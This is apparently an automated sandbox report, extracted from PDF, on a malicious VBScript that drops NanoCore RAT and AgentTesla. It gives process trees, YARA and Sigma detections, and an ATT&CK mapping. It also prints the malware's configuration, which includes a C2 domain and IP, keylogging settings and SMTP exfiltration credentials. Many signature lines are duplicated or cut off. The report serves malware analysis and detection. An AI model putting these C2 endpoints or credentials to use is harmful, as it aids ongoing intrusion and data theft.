
ID: 483646
Sample Name:
09142021_PDF.vbs
Cookbook: default.jbs
Time: 10:49:11
Date: 15/09/2021
Version: 33.0.0 White Diamond



2
4
4
4
4
4
4
4
4
4
5
5
5
6
6
7
7
7
7
7
7
7
7
7
8
8
8
8
8
8
8
8
8
9
9

10
10
11
11
11
11
12
12
13
13
13
13
13
13
13
14
14
14
14
14
15
15
15
15
19
19
19
19
19
19
19
19
20
20
21
21
21

Table of Contents

Table of Contents
Windows Analysis Report 09142021_PDF.vbs

Overview
General Information
Detection
Signatures
Classification

Process Tree
Malware Configuration

Threatname: NanoCore
Threatname: Agenttesla

Yara Overview
Dropped Files
Memory Dumps
Unpacked PEs

Sigma Overview
AV Detection:
Networking:
E-Banking Fraud:
Stealing of Sensitive Information:
Remote Access Functionality:

Jbx Signature Overview
AV Detection:
Networking:
Key, Mouse, Clipboard, Microphone and Screen Capturing:
E-Banking Fraud:
System Summary:
Data Obfuscation:
Hooking and other Techniques for Hiding and Protection:
Malware Analysis System Evasion:
HIPS / PFW / Operating System Protection Evasion:
Stealing of Sensitive Information:
Remote Access Functionality:

Mitre Att&ck Matrix
Behavior Graph
Screenshots

Thumbnails
Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Dropped Files
Unpacked PE Files
Domains
URLs

Domains and IPs
Contacted Domains
Contacted URLs
URLs from Memory and Binaries
Contacted IPs
Public

General Information
Simulations

Behavior and APIs
Joe Sandbox View / Context

IPs
Domains
ASN
JA3 Fingerprints
Dropped Files

Created / dropped Files
Static File Info

General
File Icon

Network Behavior
Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
DNS Answers
SMTP Packets

Code Manipulations
Statistics

Behavior

Copyright Joe Security LLC 2021 Page 2 of 27



21
21
21
22

22
22
22
22
22
22

23
23
23
23
23
23

23
23

23
23
24
24
24
24

24
24
25
25
25
25
25

25
25

25
25
25
25
25
25

25
25

26
26
26
26
26
26

26
26

26
26

System Behavior
Analysis Process: wscript.exe PID: 7012 Parent PID: 3440

General
File Activities

Analysis Process: Notepad.exe PID: 3664 Parent PID: 7012
General
File Activities

File Created
File Written
File Read

Analysis Process: Chrome.exe PID: 5276 Parent PID: 7012
General
File Activities

File Created
File Written
File Read

Registry Activities
Key Value Created

Analysis Process: dhcpmon.exe PID: 6560 Parent PID: 3440
General
File Activities

File Created
File Written
File Read

Analysis Process: MSBuild.exe PID: 5480 Parent PID: 3664
General
File Activities

File Created
File Deleted
File Written
File Read

Registry Activities
Key Value Created

Analysis Process: hmltog.exe PID: 4328 Parent PID: 3440
General
File Activities

File Created
File Written
File Read

Analysis Process: conhost.exe PID: 6140 Parent PID: 4328
General

Analysis Process: hmltog.exe PID: 3728 Parent PID: 3440
General
File Activities

File Created
File Written
File Read

Analysis Process: conhost.exe PID: 2088 Parent PID: 3728
General

Disassembly
Code Analysis
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Windows Analysis Report 09142021_PDF.vbs

Overview

General Information

Sample 
Name:

09142021_PDF.vbs

Analysis ID: 483646

MD5: 4a638d451c40bc…

SHA1: 5caa98e6150e72…

SHA256: 62e85b9481efe0b…

Tags: NanoCore RAT vbs

Infos:

Most interesting Screenshot:

Detection

Nanocore AgentTeslaNanocore AgentTesla

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTeslaYara detected AgentTesla

Sigma detected: NanoCore

Sigma detected: NanoCore

Sigma detected: NanoCore

Sigma detected: NanoCore

Sigma detected: NanoCore

Sigma detected: NanoCore

Sigma detected: NanoCoreSigma detected: NanoCore

VBScript performs obfuscated calls 

VBScript performs obfuscated calls 

VBScript performs obfuscated calls 

VBScript performs obfuscated calls 

VBScript performs obfuscated calls 

VBScript performs obfuscated calls 

VBScript performs obfuscated calls VBScript performs obfuscated calls ……

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3Yara detected AntiVM3

Detected Nanocore Rat

Detected Nanocore Rat

Detected Nanocore Rat

Detected Nanocore Rat

Detected Nanocore Rat

Detected Nanocore Rat

Detected Nanocore RatDetected Nanocore Rat

Sigma detected: MSBuild connects 

Sigma detected: MSBuild connects 

Sigma detected: MSBuild connects 

Sigma detected: MSBuild connects 

Sigma detected: MSBuild connects 

Sigma detected: MSBuild connects 

Sigma detected: MSBuild connects Sigma detected: MSBuild connects ……

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped fileAntivirus detection for dropped file

Yara detected Nanocore RAT

Yara detected Nanocore RAT

Yara detected Nanocore RAT

Yara detected Nanocore RAT

Yara detected Nanocore RAT

Yara detected Nanocore RAT

Yara detected Nanocore RATYara detected Nanocore RAT

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE fBenign windows process drops PE f……

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia.NET source code contains potentia……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device informQueries sensitive video device inform……

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dowHides that the sample has been dow……

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via filTries to steal Mail credentials (via fil……

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter inQueries sensitive network adapter in……

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser inTries to harvest and steal browser in……

Installs a global keyboard hook

Installs a global keyboard hook

Installs a global keyboard hook

Installs a global keyboard hook

Installs a global keyboard hook

Installs a global keyboard hook

Installs a global keyboard hookInstalls a global keyboard hook

Injects files into Windows application

Injects files into Windows application

Injects files into Windows application

Injects files into Windows application

Injects files into Windows application

Injects files into Windows application

Injects files into Windows applicationInjects files into Windows application

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regionsWrites to foreign memory regions

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / WiTries to harvest and steal Putty / Wi……

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login cTries to harvest and steal ftp login c……

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg.NET source code contains very larg……

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for droppMachine Learning detection for dropp……

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information Queries sensitive BIOS Information ……

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / UsFound a high number of Window / Us……

Java / VBScript file with very long s

Java / VBScript file with very long s

Java / VBScript file with very long s

Java / VBScript file with very long s

Java / VBScript file with very long s

Java / VBScript file with very long s

Java / VBScript file with very long sJava / VBScript file with very long s……

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resourcesPE file contains strange resources

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

wscript.exe (PID: 7012 cmdline: C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\09142021_PDF.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

Notepad.exe (PID: 3664 cmdline: 'C:\Users\user\AppData\Local\Temp\Notepad.exe'  MD5: 033B15C82C1F08143DA87E0F4D1AD9BC)

MSBuild.exe (PID: 5480 cmdline: {path} MD5: 88BBB7610152B48C2B3879473B17857E)

Chrome.exe (PID: 5276 cmdline: 'C:\Users\user\AppData\Local\Temp\Chrome.exe'  MD5: A9C24A18FBD231939EB608A7A2087A49)

dhcpmon.exe (PID: 6560 cmdline: 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe'  MD5: A9C24A18FBD231939EB608A7A2087A49)

hmltog.exe (PID: 4328 cmdline: 'C:\Users\user\AppData\Roaming\hmltog\hmltog.exe'  MD5: 88BBB7610152B48C2B3879473B17857E)

conhost.exe (PID: 6140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

hmltog.exe (PID: 3728 cmdline: 'C:\Users\user\AppData\Roaming\hmltog\hmltog.exe'  MD5: 88BBB7610152B48C2B3879473B17857E)

conhost.exe (PID: 2088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Process Tree

Malware Configuration

Threatname: NanoCore

Copyright Joe Security LLC 2021 Page 4 of 27



{

  "Version": "1.2.2.0",

  "Mutex": "de7e01ad-963b-4e14-81aa-08dfb351",

  "Group": "Do",

  "Domain1": "sys2021.linkpc.net",

  "Domain2": "23.94.82.41",

  "Port": 11940,

  "KeyboardLogging": "Enable",

  "RunOnStartup": "Enable",

  "RequestElevation": "Disable",

  "BypassUAC": "Disable",

  "ClearZoneIdentifier": "Enable",

  "ClearAccessControl": "Disable",

  "SetCriticalProcess": "Disable",

  "PreventSystemSleep": "Enable",

  "ActivateAwayMode": "Enable",

  "EnableDebugMode": "Disable",

  "RunDelay": 0,

  "ConnectDelay": 4000,

  "RestartDelay": 5000,

  "TimeoutInterval": 5000,

  "KeepAliveTimeout": 30000,

  "MutexTimeout": 5000,

  "LanTimeout": 2500,

  "WanTimeout": 8000,

  "BufferSize": "ffff0000",

  "MaxPacketSize": "0000a000",

  "GCThreshold": "0000a000",

  "UseCustomDNS": "Enable",

  "PrimaryDNSServer": "8.8.8.8",

  "BackupDNSServer": "8.8.4.4"

}

{

  "Exfil Mode": "SMTP",

  "Username": "info@quanturnvia.com",

  "Password": "info",

  "Host": "mail.quanturnvia.com"

}

Source Rule Description Author Strings

C:\Users\user\AppData\Local\Temp\Chrome.exe Nanocore_RAT_Gen_2 Detetcs the 
Nanocore RAT

Florian Roth 0x1018d:$x1: NanoCore.ClientPluginHost
0x101ca:$x2: IClientNetworkHost
0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw
8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe

C:\Users\user\AppData\Local\Temp\Chrome.exe Nanocore_RAT_Feb18_1 Detects Nanocore 
RAT

Florian Roth 0xff05:$x1: NanoCore Client.exe
0x1018d:$x2: NanoCore.ClientPluginHost
0x117c6:$s1: PluginCommand
0x117ba:$s2: FileCommand
0x1266b:$s3: PipeExists
0x18422:$s4: PipeCreated
0x101b7:$s5: IClientLoggingHost

C:\Users\user\AppData\Local\Temp\Chrome.exe JoeSecurity_Nanocore Yara detected 
Nanocore RAT

Joe Security

Threatname: Agenttesla

Yara Overview

Dropped Files

Copyright Joe Security LLC 2021 Page 5 of 27



C:\Users\user\AppData\Local\Temp\Chrome.exe NanoCore unknown  Kevin Breen 
<kevin@techanarchy.net>

0xfef5:$a: NanoCore
0xff05:$a: NanoCore
0x10139:$a: NanoCore
0x1014d:$a: NanoCore
0x1018d:$a: NanoCore
0xff54:$b: ClientPlugin
0x10156:$b: ClientPlugin
0x10196:$b: ClientPlugin
0x1007b:$c: ProjectData
0x10a82:$d: DESCrypto
0x1844e:$e: KeepAlive
0x1643c:$g: LogClientMessage
0x12637:$i: get_Connected
0x10db8:$j: #=q
0x10de8:$j: #=q
0x10e04:$j: #=q
0x10e34:$j: #=q
0x10e50:$j: #=q
0x10e6c:$j: #=q
0x10e9c:$j: #=q
0x10eb8:$j: #=q

C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Nanocore_RAT_Gen_2 Detetcs the 
Nanocore RAT

Florian Roth 0x1018d:$x1: NanoCore.ClientPluginHost
0x101ca:$x2: IClientNetworkHost
0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw
8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe

Click to see the 3 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

00000004.00000002.412408433.0000000003B2
1000.00000004.00000001.sdmp

JoeSecurity_AgentTesla_
1

Yara detected 
AgentTesla

Joe Security

00000004.00000002.412408433.0000000003B2
1000.00000004.00000001.sdmp

JoeSecurity_AgentTesla_
2

Yara detected 
AgentTesla

Joe Security

00000007.00000002.401485938.000000000293
1000.00000004.00000001.sdmp

JoeSecurity_Nanocore Yara detected 
Nanocore RAT

Joe Security

00000007.00000002.401485938.000000000293
1000.00000004.00000001.sdmp

NanoCore unknown  Kevin Breen 
<kevin@techanarchy.net>

0x23ba3:$a: NanoCore
0x23bfc:$a: NanoCore
0x23c39:$a: NanoCore
0x23cb2:$a: NanoCore
0x23c05:$b: ClientPlugin
0x23c42:$b: ClientPlugin
0x24540:$b: ClientPlugin
0x2454d:$b: ClientPlugin
0x1b3f2:$e: KeepAlive
0x2408d:$g: LogClientMessage
0x2400d:$i: get_Connected
0x15bd5:$j: #=q
0x15c05:$j: #=q
0x15c41:$j: #=q
0x15c69:$j: #=q
0x15c99:$j: #=q
0x15cc9:$j: #=q
0x15cf9:$j: #=q
0x15d29:$j: #=q
0x15d45:$j: #=q
0x15d75:$j: #=q

0000000A.00000002.866866320.000000000040
2000.00000040.00000001.sdmp

JoeSecurity_AgentTesla_
1

Yara detected 
AgentTesla

Joe Security

Click to see the 38 entries

Source Rule Description Author Strings

1.3.wscript.exe.2756be19830.4.raw.unpack Nanocore_RAT_Gen_2 Detetcs the 
Nanocore RAT

Florian Roth 0x1018d:$x1: NanoCore.ClientPluginHost
0x101ca:$x2: IClientNetworkHost
0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw
8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe

1.3.wscript.exe.2756be19830.4.raw.unpack Nanocore_RAT_Feb18_1 Detects Nanocore 
RAT

Florian Roth 0xff05:$x1: NanoCore Client.exe
0x1018d:$x2: NanoCore.ClientPluginHost
0x117c6:$s1: PluginCommand
0x117ba:$s2: FileCommand
0x1266b:$s3: PipeExists
0x18422:$s4: PipeCreated
0x101b7:$s5: IClientLoggingHost

1.3.wscript.exe.2756be19830.4.raw.unpack JoeSecurity_Nanocore Yara detected 
Nanocore RAT

Joe Security

Memory Dumps

Unpacked PEs

Copyright Joe Security LLC 2021 Page 6 of 27



Sigma Overview

AV Detection:

Sigma detected: NanoCore

Networking:

Sigma detected: MSBuild connects to smtp port

E-Banking Fraud:

Sigma detected: NanoCore

Stealing of Sensitive Information:

Sigma detected: NanoCore

Remote Access Functionality:

Sigma detected: NanoCore

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for dropped file

Yara detected Nanocore RAT

Found malware configuration

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for dropped file

Machine Learning detection for dropped file

Networking:

1.3.wscript.exe.2756be19830.4.raw.unpack NanoCore unknown  Kevin Breen 
<kevin@techanarchy.net>

0xfef5:$a: NanoCore
0xff05:$a: NanoCore
0x10139:$a: NanoCore
0x1014d:$a: NanoCore
0x1018d:$a: NanoCore
0xff54:$b: ClientPlugin
0x10156:$b: ClientPlugin
0x10196:$b: ClientPlugin
0x1007b:$c: ProjectData
0x10a82:$d: DESCrypto
0x1844e:$e: KeepAlive
0x1643c:$g: LogClientMessage
0x12637:$i: get_Connected
0x10db8:$j: #=q
0x10de8:$j: #=q
0x10e04:$j: #=q
0x10e34:$j: #=q
0x10e50:$j: #=q
0x10e6c:$j: #=q
0x10e9c:$j: #=q
0x10eb8:$j: #=q

7.2.dhcpmon.exe.397e43c.2.unpack Nanocore_RAT_Gen_2 Detetcs the 
Nanocore RAT

Florian Roth 0xd9ad:$x1: NanoCore.ClientPluginHost
0xd9da:$x2: IClientNetworkHost

Click to see the 64 entries

Source Rule Description Author Strings

Copyright Joe Security LLC 2021 Page 7 of 27



C2 URLs / IPs found in malware configuration

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Installs a global keyboard hook

E-Banking Fraud:

Yara detected Nanocore RAT

System Summary:

Malicious sample detected (through community Yara rule)

.NET source code contains very large strings

Data Obfuscation:

VBScript performs obfuscated calls to suspicious functions

.NET source code contains potential unpacker

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Malware Analysis System Evasion:

Yara detected AntiVM3

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

HIPS / PFW / Operating System Protection Evasion:

Benign windows process drops PE files

Injects a PE file into a foreign processes

Injects files into Windows application

Writes to foreign memory regions

Stealing of Sensitive Information:

Yara detected AgentTesla

Yara detected Nanocore RAT

Tries to steal Mail credentials (via file access)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Remote Access Functionality:

Yara detected AgentTesla

Detected Nanocore Rat

Yara detected Nanocore RAT
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Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Valid
Accounts

Windows Management
Instrumentation 3 1 1

Registry
Run Keys /
Startup
Folder 1

Access Token
Manipulation 1

Disable or Modify
Tools 1

OS Credential
Dumping 2

Account Discovery 1 Remote
Services

Archive
Collected
Data 1 1

Exfiltration Over Other
Network Medium

Default
Accounts

Scripting 1 2 1 Boot or
Logon
Initialization
Scripts

Process
Injection 3 1 2

Deobfuscate/Decode
Files or Information 1

Input
Capture 1 2 1

File and Directory
Discovery 1

Remote
Desktop
Protocol

Data from Local
System 2

Exfiltration Over
Bluetooth

Domain
Accounts

Shared Modules 1 Logon Script
(Windows)

Registry Run
Keys / Startup
Folder 1

Scripting 1 2 1 Credentials in
Registry 1

System Information
Discovery 1 1 4

SMB/Windows
Admin Shares

Email
Collection 1

Automated Exfiltration

Local
Accounts

Exploitation for Client
Execution 1

Logon Script
(Mac)

Logon Script
(Mac)

Obfuscated Files or
Information 3

NTDS Query Registry 1 Distributed
Component
Object Model

Input
Capture 1 2 1

Scheduled Transfer

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Software
Packing 1 2

LSA Secrets Security Software
Discovery 4 2 1

SSH Clipboard
Data 1

Data Transfer Size
Limits

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Masquerading 2 Cached Domain
Credentials

Process Discovery 2 VNC GUI Input
Capture

Exfiltration Over C2
Channel

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Virtualization/Sandbox
Evasion 2 4 1

DCSync Virtualization/Sandbox
Evasion 2 4 1

Windows
Remote
Management

Web Portal
Capture

Exfiltration Over
Alternative Protocol

Drive-by
Compromise

Command and Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Access Token
Manipulation 1

Proc Filesystem Application Window
Discovery 1

Shared
Webroot

Credential API
Hooking

Exfiltration Over
Symmetric Encrypted
Non-C2 Protocol

Exploit
Public-
Facing
Application

PowerShell At (Linux) At (Linux) Process
Injection 3 1 2

/etc/passwd and
/etc/shadow

System Owner/User
Discovery 1

Software
Deployment
Tools

Data Staged Exfiltration Over
Asymmetric Encrypted
Non-C2 Protocol

Supply
Chain
Compromise

AppleScript At
(Windows)

At (Windows) Hidden Files and
Directories 1

Network Sniffing Remote System
Discovery 1

Taint Shared
Content

Local Data
Staging

Exfiltration Over
Unencrypted/Obfuscated
Non-C2 Protocol

Behavior Graph
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Behavior Graph

ID: 483646

Sample: 09142021_PDF.vbs

Startdate: 15/09/2021

Architecture: WINDOWS

Score: 100

sys2021.linkpc.net

Found malware configuration
Malicious sample detected
(through community Yara

rule)

Antivirus detection
for dropped file 13 other signatures

wscript.exe

3

        started       

dhcpmon.exe

3

        started       

hmltog.exe

4

        started       

hmltog.exe

3

        started       

C:\Users\user\AppData\Local\...38otepad.exe, PE32

dropped

C:\Users\user\AppData\Local\Temp\Chrome.exe, PE32

dropped

Benign windows process
drops PE files

VBScript performs obfuscated
calls to suspicious

functions

Notepad.exe

3

        started       

Chrome.exe

1 10

        started       

C:\Users\user\AppData\...\dhcpmon.exe.log, ASCII

dropped

conhost.exe

        started       

conhost.exe

        started       

Queries sensitive video
device information (via

WMI, Win32_VideoController,
often done to detect

virtual machines)

Machine Learning detection
for dropped file

Writes to foreign memory
regions 2 other signatures

MSBuild.exe

2 10

        started       

23.94.82.41, 11940

AS-COLOCROSSINGUS

United States

sys2021.linkpc.net

105.112.53.223, 11940

VNL1-ASNG

Nigeria

C:\Program Files (x86)\...\dhcpmon.exe, PE32

dropped

C:\Users\user\AppData\Roaming\...\run.dat, ISO-8859

dropped

Antivirus detection
for dropped file

Multi AV Scanner detection
for dropped file

Hides that the sample
has been downloaded

from the Internet (zone.identifier)

mail.quanturnvia.com

5.149.255.77, 49829, 49830, 587

HZ-NL-ASGB

United Kingdom

C:\Users\user\AppData\Roaming\...\hmltog.exe, PE32

dropped

Tries to harvest and
steal Putty / WinSCP

information (sessions,
passwords, etc)

Queries sensitive network
adapter information

(via WMI, Win32_NetworkAdapter,
often done to detect

virtual machines)

Tries to steal Mail
credentials (via file

access)
5 other signatures

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

09142021_PDF.vbs 27% ReversingLabs Script-
WScript.Trojan.Heuristic

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\Chrome.exe 100% Avira TR/Dropper.MSIL.Gen7

C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe 100% Avira TR/Dropper.MSIL.Gen7

C:\Users\user\AppData\Local\Temp\Chrome.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\Notepad.exe 100% Joe Sandbox ML

C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe 100% Joe Sandbox ML

C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe 86% Metadefender Browse

C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe 100% ReversingLabs ByteCode-
MSIL.Backdoor.NanoCore

C:\Users\user\AppData\Local\Temp\Chrome.exe 86% Metadefender Browse

C:\Users\user\AppData\Local\Temp\Chrome.exe 100% ReversingLabs ByteCode-
MSIL.Backdoor.NanoCore

C:\Users\user\AppData\Roaming\hmltog\hmltog.exe 0% Metadefender Browse

C:\Users\user\AppData\Roaming\hmltog\hmltog.exe 0% ReversingLabs

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Copyright Joe Security LLC 2021 Page 11 of 27

https://www.metadefender.com/#!/results/file/bzIxMDkwN29UUnNKNUhYNjFEWWlPVGJxUU1Q/regular/analysis
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Source Detection Scanner Label Link Download

5.0.Chrome.exe.1e0000.0.unpack 100% Avira TR/Dropper.MSIL.Gen7 Download File

7.2.dhcpmon.exe.a0000.0.unpack 100% Avira TR/Dropper.MSIL.Gen7 Download File

10.2.MSBuild.exe.400000.0.unpack 100% Avira TR/Spy.Gen8 Download File

7.0.dhcpmon.exe.a0000.0.unpack 100% Avira TR/Dropper.MSIL.Gen7 Download File

No Antivirus matches

Source Detection Scanner Label Link

127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/font0 0% Avira URL Cloud safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.tiro.comNX 0% Avira URL Cloud safe

www.founder.com.cn/cna-d 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.sakkal.comx 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/jp/9 0% Avira URL Cloud safe

www.fontbureau.comT.TTF 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

www.urwpp.deoi 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/jp/h 0% URL Reputation safe

www.jiyu-kobo.co.jp/ww.m 0% Avira URL Cloud safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

